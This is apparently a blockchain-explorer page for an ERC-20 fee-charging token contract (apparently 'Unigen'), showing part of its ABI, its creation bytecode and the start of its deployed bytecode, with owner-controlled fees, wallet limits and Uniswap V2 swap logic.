internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_developmentFee","type":"uint256"},{"internalType":"uint256","name":"_operationsFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"updateDevelopmentWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newmarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_developmentFee","type":"uint256"},{"internalType":"uint256","name":"_operationsFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600c805462ffffff19166001908117909155600f805460ff191690911790553480156200002f575f80fd5b50604051806040016040528060068152602001652ab734b3b2b760d11b81525060405180604001604052806004815260200163554e494760e01b81525081600390816200007d919062000896565b5060046200008c828262000896565b505050620000a9620000a36200054b60201b60201c565b6200054f565b737a250d5630b4cf539739df2c5dacb4c659f2488d620000cb816001620005a0565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000114573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200013a919062000962565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000186573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ac919062000962565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001f7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200021d919062000962565b6001600160a01b031660a081905262000238906001620005a0565b60a0516200024890600162000617565b6a52b7d2dcc80cd2e4000000606462000263826002620009a5565b6200026f9190620009c5565b600955606462000281826002620009a5565b6200028d9190620009c5565b600b556200029e61271082620009c5565b600a55600260128190555f6013819055601481905560158190558080838180808080620002cc8187620009e5565b620002d89190620009e5565b620002e49190620009e5565b601155601784905560188390556019829055601a8190558082620003098587620009e5565b620003159190620009e5565b620003219190620009e5565b601655600780546001600160a01b031990811673c823addf6c831ce8fe5e686120d0926b1cf4c5a7179091556008805490911673ae13f559439ab476af12cc9f990f0cbc5e4410b71790556200038b620003836005546001600160a01b031690565b60016200066a565b600754620003a4906001600160a01b031660016200066a565b600854620003bd906001600160a01b031660016200066a565b620003ca3060016200066a565b620003d961dead60016200066a565b620003f8620003f06005546001600160a01b031690565b6001620005a0565b60075462000411906001600160a01b03166001620005a0565b6008546200042a906001600160a01b03166001620005a0565b62000437306001620005a0565b6200044661dead6001620005a0565b5f6064620004568b601e620009a5565b620004629190620009c5565b90505f6064620004748c600a620009a5565b620004809190620009c5565b90505f6064620004928d6005620009a5565b6200049e9190620009c5565b90505f8183858f620004b19190620009fb565b620004bd9190620009fb565b620004c99190620009fb565b9050620004d7338262000712565b620004f773bacf4ea983e7343364ac6070f3ce541825e59bc88562000712565b6200051773756c3fa8a2f78b1b21709fca63facbf1953bb1448462000712565b62000537737907e6ada8ca70480fd05b89a9986cc6fd6f36778362000712565b505050505050505050505050505062000a11565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6005546001600160a01b03163314620005ee5760405162461bcd60e51b815260206004820181905260248201525f80516020620034f783398151915260448201526064015b60405180910390fd5b6001600160a01b03919091165f9081526020805260409020805460ff1916911515919091179055565b6001600160a01b0382165f81815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620006b45760405162461bcd60e51b815260206004820181905260248201525f80516020620034f78339815191526044820152606401620005e5565b6001600160a01b0382165f818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b0382166200076a5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620005e5565b8060025f8282546200077d9190620009e5565b90915550506001600160a01b0382165f9081526020819052604081208054839290620007ab908490620009e5565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200082257607f821691505b6020821081036200084157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620007f457805f5260205f20601f840160051c810160208510156200086e5750805b601f840160051c820191505b818110156200088f575f81556001016200087a565b5050505050565b81516001600160401b03811115620008b257620008b2620007f9565b620008ca81620008c384546200080d565b8462000847565b602080601f83116001811462000900575f8415620008e85750858301515b5f19600386901b1c1916600185901b1785556200095a565b5f85815260208120601f198616915b8281101562000930578886015182559484019460019091019084016200090f565b50858210156200094e57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f6020828403121562000973575f80fd5b81516001600160a01b03811681146200098a575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417620009bf57620009bf62000991565b92915050565b5f82620009e057634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115620009bf57620009bf62000991565b81810381811115620009bf57620009bf62000991565b60805160a051612a8c62000a6b5f395f818161057e01528181610faf015261181201525f8181610415015281816117d40152818161241b015281816124d20152818161250e0152818161258201526125de0152612a8c5ff3fe60806040526004361061037f575f3560e01c80638da5cb5b116101d3578063d257b34f116100fd578063ef8700e51161009d578063f63743421161006d578063f637434214610a14578063f887ea4014610a29578063f8b45b0514610a50578063fb002c9714610a65575f80fd5b8063ef8700e5146109ac578063f023f573146109c1578063f11a24d3146109e0578063f2fde38b146109f5575f80fd5b8063e1bc3394116100d8578063e1bc339414610937578063e2f4560514610964578063e7ad9fcd14610979578063e884f26014610998575f80fd5b8063d257b34f146108bf578063d85ba063146108de578063dd62ed3e146108f3575f80fd5b8063aacebbe311610173578063c024666811610143578063c024666814610853578063c04a541414610872578063c3f70b5214610891578063c876d0b9146108a6575f80fd5b8063aacebbe3146107d3578063b2041411146107f2578063b62496f514610807578063bbc0c74214610835575f80fd5b806395d89b41116101ae57806395d89b41146107625780639a7a23d614610776578063a457c2d714610795578063a9059cbb146107b4575f80fd5b80638da5cb5b14610711578063921369131461072e578063924de9b714610743575f80fd5b806339509351116102b45780636ddd1713116102545780637571336a116102245780637571336a146106aa57806375f0a874146106c95780637bce5a04146106e85780638a8c523c146106fd575f80fd5b80636ddd17131461062f57806370a082311461064e578063715018a614610682578063751039fc14610696575f80fd5b80634f77f6c01161028f5780634f77f6c0146105b95780634fbee193146105ce5780635a139dd4146106055780636a486a8e1461061a575f80fd5b8063395093511461054e57806349bd5a5e1461056d5780634a62bb65146105a0575f80fd5b80631c499ab01161031f57806327c8f835116102fa57806327c8f835146104ea5780632e6ed7ef146104ff5780632eff0d9e1461051e578063313ce56714610533575f80fd5b80631c499ab0146104975780631f3fed8f146104b657806323b872dd146104cb575f80fd5b80631694505e1161035a5780631694505e1461040457806318160ddd1461044f57806318a94cf11461046d5780631a8145bb14610482575f80fd5b80630517d13d1461038a57806306fdde03146103ab578063095ea7b3146103d5575f80fd5b3661038657005b5f80fd5b348015610395575f80fd5b506103a96103a4366004612653565b610a7a565b005b3480156103b6575f80fd5b506103bf610b5a565b6040516103cc919061266a565b60405180910390f35b3480156103e0575f80fd5b506103f46103ef3660046126ca565b610bea565b60405190151581526020016103cc565b34801561040f575f80fd5b506104377f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016103cc565b34801561045a575f80fd5b506002545b6040519081526020016103cc565b348015610478575f80fd5b5061045f60195481565b34801561048d575f80fd5b5061045f601c5481565b3480156104a2575f80fd5b506103a96104b1366004612653565b610c00565b3480156104c1575f80fd5b5061045f601b5481565b3480156104d6575f80fd5b506103f46104e53660046126f4565b610cd1565b3480156104f5575f80fd5b5061043761dead81565b34801561050a575f80fd5b506103a9610519366004612732565b610d79565b348015610529575f80fd5b5061045f600d5481565b34801561053e575f80fd5b50604051601281526020016103cc565b348015610559575f80fd5b506103f46105683660046126ca565b610dee565b348015610578575f80fd5b506104377f000000000000000000000000000000000000000000000000000000000000000081565b3480156105ab575f80fd5b50600c546103f49060ff1681565b3480156105c4575f80fd5b5061045f601a5481565b3480156105d9575f80fd5b506103f46105e8366004612761565b6001600160a01b03165f908152601f602052604090205460ff1690565b348015610610575f80fd5b5061045f60155481565b348015610625575f80fd5b5061045f60165481565b34801561063a575f80fd5b50600c546103f49062010000900460ff1681565b348015610659575f80fd5b5061045f610668366004612761565b6001600160a01b03165f9081526020819052604090205490565b34801561068d575f80fd5b506103a9610e29565b3480156106a1575f80fd5b506103f4610e5e565b3480156106b5575f80fd5b506103a96106c436600461278b565b610e9a565b3480156106d4575f80fd5b50600754610437906001600160a01b031681565b3480156106f3575f80fd5b5061045f60125481565b348015610708575f80fd5b506103a9610eed565b34801561071c575f80fd5b506005546001600160a01b0316610437565b348015610739575f80fd5b5061045f60175481565b34801561074e575f80fd5b506103a961075d3660046127be565b610f2e565b34801561076d575f80fd5b506103bf610f74565b348015610781575f80fd5b506103a961079036600461278b565b610f83565b3480156107a0575f80fd5b506103f46107af3660046126ca565b611062565b3480156107bf575f80fd5b506103f46107ce3660046126ca565b6110fa565b3480156107de575f80fd5b506103a96107ed366004612761565b611106565b3480156107fd575f80fd5b5061045f60145481565b348015610812575f80fd5b506103f4610821366004612761565b60216020525f908152604090205460ff1681565b348015610840575f80fd5b50600c546103f490610100900460ff1681565b34801561085e575f80fd5b506103a961086d36600461278b565b61118c565b34801561087d575f80fd5b50600854610437906001600160a01b031681565b34801561089c575f80fd5b5061045f60095481565b3480156108b1575f80fd5b50600f546103f49060ff1681565b3480156108ca575f80fd5b506103f46108d9366004612653565b611214565b3480156108e9575f80fd5b5061045f60115481565b3480156108fe575f80fd5b5061045f61090d3660046127d7565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610942575f80fd5b506103f4610951366004612761565b602080525f908152604090205460ff1681565b34801561096f575f80fd5b5061045f600a5481565b348015610984575f80fd5b506103a9610993366004612732565b61136a565b3480156109a3575f80fd5b506103f46113d9565b3480156109b7575f80fd5b5061045f601d5481565b3480156109cc575f80fd5b506103a96109db366004612761565b611415565b3480156109eb575f80fd5b5061045f60135481565b348015610a00575f80fd5b506103a9610a0f366004612761565b61149b565b348015610a1f575f80fd5b5061045f60185481565b348015610a34575f80fd5b50610437737a250d5630b4cf539739df2c5dacb4c659f2488d81565b348015610a5b575f80fd5b5061045f600b5481565b348015610a70575f80fd5b5061045f601e5481565b6005546001600160a01b03163314610aad5760405162461bcd60e51b8152600401610aa49061280e565b60405180910390fd5b670de0b6b3a76400006103e8610ac260025490565b610acd906001612857565b610ad7919061286e565b610ae1919061286e565b811015610b425760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61785472616e73616374696f6e206c6f776572206044820152687468616e20302e312560b81b6064820152608401610aa4565b610b5481670de0b6b3a7640000612857565b60095550565b606060038054610b699061288d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b959061288d565b8015610be05780601f10610bb757610100808354040283529160200191610be0565b820191905f5260205f20905b815481529060010190602001808311610bc357829003601f168201915b5050505050905090565b5f610bf6338484611536565b5060015b92915050565b6005546001600160a01b03163314610c2a5760405162461bcd60e51b8152600401610aa49061280e565b670de0b6b3a76400006103e8610c3f60025490565b610c4a906005612857565b610c54919061286e565b610c5e919061286e565b811015610cb95760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610aa4565b610ccb81670de0b6b3a7640000612857565b600b5550565b5f610cdd848484611659565b6001600160a01b0384165f90815260016020908152604080832033845290915290205482811015610d615760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610aa4565b610d6e8533858403611536565b506001949350505050565b6005546001600160a01b03163314610da35760405162461bcd60e51b8152600401610aa49061280e565b60128490556013839055601482905560158190558082610dc385876128c5565b610dcd91906128c5565b610dd791906128c5565b601181905560191015610de8575f80fd5b50505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091610bf6918590610e249086906128c5565b611536565b6005546001600160a01b03163314610e535760405162461bcd60e51b8152600401610aa49061280e565b610e5c5f611f23565b565b6005545f906001600160a01b03163314610e8a5760405162461bcd60e51b8152600401610aa49061280e565b50600c805460ff19169055600190565b6005546001600160a01b03163314610ec45760405162461bcd60e51b8152600401610aa49061280e565b6001600160a01b03919091165f9081526020805260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610f175760405162461bcd60e51b8152600401610aa49061280e565b600c80544360105562ffff00191662010100179055565b6005546001600160a01b03163314610f585760405162461bcd60e51b8152600401610aa49061280e565b600c8054911515620100000262ff000019909216919091179055565b606060048054610b699061288d565b6005546001600160a01b03163314610fad5760405162461bcd60e51b8152600401610aa49061280e565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316036110545760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610aa4565b61105e8282611f74565b5050565b335f9081526001602090815260408083206001600160a01b0386168452909152812054828110156110e35760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610aa4565b6110f03385858403611536565b5060019392505050565b5f610bf6338484611659565b6005546001600160a01b031633146111305760405162461bcd60e51b8152600401610aa49061280e565b6007546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b05674905f90a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146111b65760405162461bcd60e51b8152600401610aa49061280e565b6001600160a01b0382165f818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005545f906001600160a01b031633146112405760405162461bcd60e51b8152600401610aa49061280e565b620186a061124d60025490565b611258906001612857565b611262919061286e565b8210156112cf5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610aa4565b6103e86112db60025490565b6112e6906005612857565b6112f0919061286e565b82111561135c5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610aa4565b50600a81905560015b919050565b6005546001600160a01b031633146113945760405162461bcd60e51b8152600401610aa49061280e565b601784905560188390556019829055601a81905580826113b485876128c5565b6113be91906128c5565b6113c891906128c5565b601681905560191015610de8575f80fd5b6005545f906001600160a01b031633146114055760405162461bcd60e51b8152600401610aa49061280e565b50600f805460ff19169055600190565b6005546001600160a01b0316331461143f5760405162461bcd60e51b8152600401610aa49061280e565b6008546040516001600160a01b03918216918316907ffaf1b77ed79f6e898c44dd8ab36b330c7b2fd39bcaab05ed6362480df8703965905f90a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146114c55760405162461bcd60e51b8152600401610aa49061280e565b6001600160a01b03811661152a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610aa4565b61153381611f23565b50565b6001600160a01b0383166115985760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610aa4565b6001600160a01b0382166115f95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610aa4565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661167f5760405162461bcd60e51b8152600401610aa4906128d8565b6001600160a01b0382166116a55760405162461bcd60e51b8152600401610aa49061291d565b805f036116bc576116b783835f611fc7565b505050565b6001600160a01b0383165f908152601f602052604090205460ff161580156116fc57506001600160a01b0382165f908152601f602052604090205460ff16155b15611b4357600c5460ff1615611b4357600554600160a01b900460ff16611b4357600c54610100900460ff166117ae576001600160a01b0383165f908152601f602052604090205460ff168061176957506001600160a01b0382165f908152601f602052604090205460ff165b6117ae5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610aa4565b600f5460ff16156118f3576005546001600160a01b0383811691161480159061180957507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b801561184757507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b156118f357325f908152600e602052604090205443116118e15760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610aa4565b325f908152600e602052604090204390555b6001600160a01b0383165f9081526021602052604090205460ff16801561193157506001600160a01b0382165f90815260208052604090205460ff16155b15611a0e576009548111156119a05760405162461bcd60e51b815260206004820152602f60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526e36b0bc2a3930b739b0b1ba34b7b71760891b6064820152608401610aa4565b600b546001600160a01b0383165f908152602081905260409020546119c590836128c5565b1115611a095760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610aa4565b611b43565b6001600160a01b0382165f9081526021602052604090205460ff168015611a4c57506001600160a01b0383165f90815260208052604090205460ff16155b15611abc57600954811115611a095760405162461bcd60e51b815260206004820152603060248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526f1036b0bc2a3930b739b0b1ba34b7b71760811b6064820152608401610aa4565b6001600160a01b0382165f90815260208052604090205460ff16611b4357600b546001600160a01b0383165f90815260208190526040902054611aff90836128c5565b1115611b435760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610aa4565b6007546001600160a01b03165f90815260208190526040902054600655600c5462010000900460ff168015611b825750600554600160a01b900460ff16155b8015611ba657506001600160a01b0383165f9081526021602052604090205460ff16155b8015611bca57506001600160a01b0383165f908152601f602052604090205460ff16155b8015611bee57506001600160a01b0382165f908152601f602052604090205460ff16155b15611c30576005805460ff60a01b1916600160a01b179055611c0e612119565b600d8054905f611c1d83612960565b90915550506005805460ff60a01b191690555b6005546001600160a01b0384165f908152601f602052604090205460ff600160a01b909204821615911680611c7c57506001600160a01b0383165f908152601f602052604090205460ff165b15611cd3576001600160a01b0383165f9081526021602052604090205460ff168015611cbe57506001600160a01b0384165f9081526020819052604090205482115b15611cd057610de88361dead84611fc7565b505f5b5f8115611f11576001600160a01b0384165f9081526021602052604090205460ff168015611d0257505f601654115b15611dec57611d276064611d216016548661239e90919063ffffffff16565b906123b0565b905060165460185482611d3a9190612857565b611d44919061286e565b601c5f828254611d5491906128c5565b9091555050601654601954611d699083612857565b611d73919061286e565b601d5f828254611d8391906128c5565b9091555050601654601754611d989083612857565b611da2919061286e565b601b5f828254611db291906128c5565b9091555050601654601a54611dc79083612857565b611dd1919061286e565b601e5f828254611de191906128c5565b90915550611ef39050565b6001600160a01b0385165f9081526021602052604090205460ff168015611e1457505f601154115b15611ef357611e336064611d216011548661239e90919063ffffffff16565b905060115460135482611e469190612857565b611e50919061286e565b601c5f828254611e6091906128c5565b9091555050601154601454611e759083612857565b611e7f919061286e565b601d5f828254611e8f91906128c5565b9091555050601154601254611ea49083612857565b611eae919061286e565b601b5f828254611ebe91906128c5565b9091555050601154601554611ed39083612857565b611edd919061286e565b601e5f828254611eed91906128c5565b90915550505b8015611f0457611f04853083611fc7565b611f0e8184612978565b92505b611f1c858585611fc7565b5050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316611fed5760405162461bcd60e51b8152600401610aa4906128d8565b6001600160a01b0382166120135760405162461bcd60e51b8152600401610aa49061291d565b6001600160a01b0383165f908152602081905260409020548181101561208a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610aa4565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906120c09084906128c5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161210c91815260200190565b60405180910390a3610de8565b5f600654600d5461212a9190612978565b305f90815260208190526040812054919250505f601e54601d54601b54601c5461215491906128c5565b61215e91906128c5565b61216891906128c5565b90505f821580612176575081155b80612182575061271084115b1561218d5750505050565b600a5461219b906010612857565b8311156121b357600a546121b0906010612857565b92505b5f600283601c54866121c59190612857565b6121cf919061286e565b6121d9919061286e565b90505f6121e685836123bb565b9050476121f2826123c6565b5f6121fd47836123bb565b90505f61221987611d21601b548561239e90919063ffffffff16565b90505f61223588611d21601d548661239e90919063ffffffff16565b90505f61225189611d21601e548761239e90919063ffffffff16565b90505f81836122608688612978565b61226a9190612978565b6122749190612978565b5f601c819055601b819055601d819055601e8190556008546040519293506001600160a01b031691859181818185875af1925050503d805f81146122d3576040519150601f19603f3d011682016040523d82523d5f602084013e6122d8565b606091505b509099505087158015906122eb57505f81115b1561233e576122fa888261257c565b601c54604080518981526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6007546040516001600160a01b039091169047905f81818185875af1925050503d805f8114612388576040519150601f19603f3d011682016040523d82523d5f602084013e61238d565b606091505b505050505050505050505050505050565b5f6123a98284612857565b9392505050565b5f6123a9828461286e565b5f6123a98284612978565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106123f9576123f961298b565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612475573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612499919061299f565b816001815181106124ac576124ac61298b565b60200260200101906001600160a01b031690816001600160a01b0316815250506124f7307f000000000000000000000000000000000000000000000000000000000000000084611536565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac9479061254b9085905f908690309042906004016129ba565b5f604051808303815f87803b158015612562575f80fd5b505af1158015612574573d5f803e3d5ffd5b505050505050565b6125a7307f000000000000000000000000000000000000000000000000000000000000000084611536565b60405163f305d71960e01b8152306004820152602481018390525f60448201819052606482015261dead60848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f305d71990839060c40160606040518083038185885af115801561262e573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611f1c9190612a2b565b5f60208284031215612663575f80fd5b5035919050565b5f602080835283518060208501525f5b818110156126965785810183015185820160400152820161267a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611533575f80fd5b5f80604083850312156126db575f80fd5b82356126e6816126b6565b946020939093013593505050565b5f805f60608486031215612706575f80fd5b8335612711816126b6565b92506020840135612721816126b6565b929592945050506040919091013590565b5f805f8060808587031215612745575f80fd5b5050823594602084013594506040840135936060013592509050565b5f60208284031215612771575f80fd5b81356123a9816126b6565b80358015158114611365575f80fd5b5f806040838503121561279c575f80fd5b82356127a7816126b6565b91506127b56020840161277c565b90509250929050565b5f602082840312156127ce575f80fd5b6123a98261277c565b5f80604083850312156127e8575f80fd5b82356127f3816126b6565b91506020830135612803816126b6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417610bfa57610bfa612843565b5f8261288857634e487b7160e01b5f52601260045260245ffd5b500490565b600181811c908216806128a157607f821691505b6020821081036128bf57634e487b7160e01b5f52602260045260245ffd5b50919050565b80820180821115610bfa57610bfa612843565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b5f6001820161297157612971612843565b5060010190565b81810381811115610bfa57610bfa612843565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156129af575f80fd5b81516123a9816126b6565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015612a0a5784516001600160a01b0316835293830193918301916001016129e5565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215612a3d575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212205c2d51697b4714996cd3dcf0cdb9186ff457bb22f1212d519f2f728c95c0e44364736f6c634300081600334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572
Deployed Bytecode
0x60806040526004361061037f575f3560e01c80638da5cb5b116101d3578063d257b34f116100fd578063ef8700e51161009d578063f63743421161006d578063f637434214610a14578063f887ea4014610a29578063f8b45b0514610a50578063fb002c9714610a65575f80fd5b8063ef8700e5146109ac578063f023f573146109c1578063f11a24d3146109e0578063f2fde38b146109f5575f80fd5b8063e1bc3394116100d8578063e1bc339414610937578063e2f4560514610964578063e7ad9fcd14610979578063e884f26014610998575f80fd5b8063d257b34f146108bf578063d85ba063146108de578063dd62ed3e146108f3575f80fd5b8063aacebbe311610173578063c024666811610143578063c024666814610853578063c04a541414610872578063c3f70b5214610891578063c876d0b9146108a6575f80fd5b8063aacebbe3146107d3578063b2041411146107f2578063b62496f514610807578063bbc0c74214610835575f80fd5b806395d89b41116101ae57806395d89b41146107625780639a7a23d614610776578063a457c2d714610795578063a9059cbb146107b4575f80fd5b80638da5cb5b14610711578063921369131461072e578063924de9b714610743575f80fd5b806339509351116102b45780636ddd1713116102545780637571336a116102245780637571336a146106aa57806375f0a874146106c95780637bce5a04146106e85780638a8c523c146106fd575f80fd5b80636ddd17131461062f57806370a082311461064e578063715018a614610682578063751039fc14610696575f80fd5b80634f77f6c01161028f5780634f77f6c0146105b95780634fbee193146105ce5780635a139dd4146106055780636a486a8e1461061a575f80fd5b8063395093511461054e57806349bd5a5e1461056d5780634a62bb65146105a0575f80fd5b80631c499ab01161031f57806327c8f835116102fa57806327c8f835146104ea5780632e6ed7ef146104ff5780632eff0d9e1461051e578063313ce56714610533575f80fd5b80631c499ab0146104975780631f3fed8f146104b657806323b872dd146104cb575f80fd5b80631694505e1161035a5780631694505e1461040457806318160ddd1461044f57806318a94cf11461046d5780631a8145bb14610482575f80fd5b80630517d13d1461038a57806306fdde03146103ab578063095ea7b3146103d5575f80fd5b3661038657005b5f80fd5b348015610395575f80fd5b506103a96103a4366004612653565b610a7a565b005b3480156103b6575f80fd5b506103bf610b5a565b6040516103cc919061266a565b60405180910390f35b3480156103e0575f80fd5b506103f46103ef3660046126ca565b610bea565b60405190151581526020016103cc565b34801561040f575f80fd5b506104377f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103cc565b34801561045a575f80fd5b506002545b6040519081526020016103cc565b348015610478575f80fd5b5061045f60195481565b34801561048d575f80fd5b5061045f601c5481565b3480156104a2575f80fd5b506103a96104b1366004612653565b610c00565b3480156104c1575f80fd5b5061045f601b5481565b3480156104d6575f80fd5b506103f46104e53660046126f4565b610cd1565b3480156104f5575f80fd5b5061043761dead81565b34801561050a575f80fd5b506103a9610519366004612732565b610d79565b348015610529575f80fd5b5061045f600d5481565b34801561053e575f80fd5b50604051601281526020016103cc565b348015610559575f80fd5b506103f46105683660046126ca565b610dee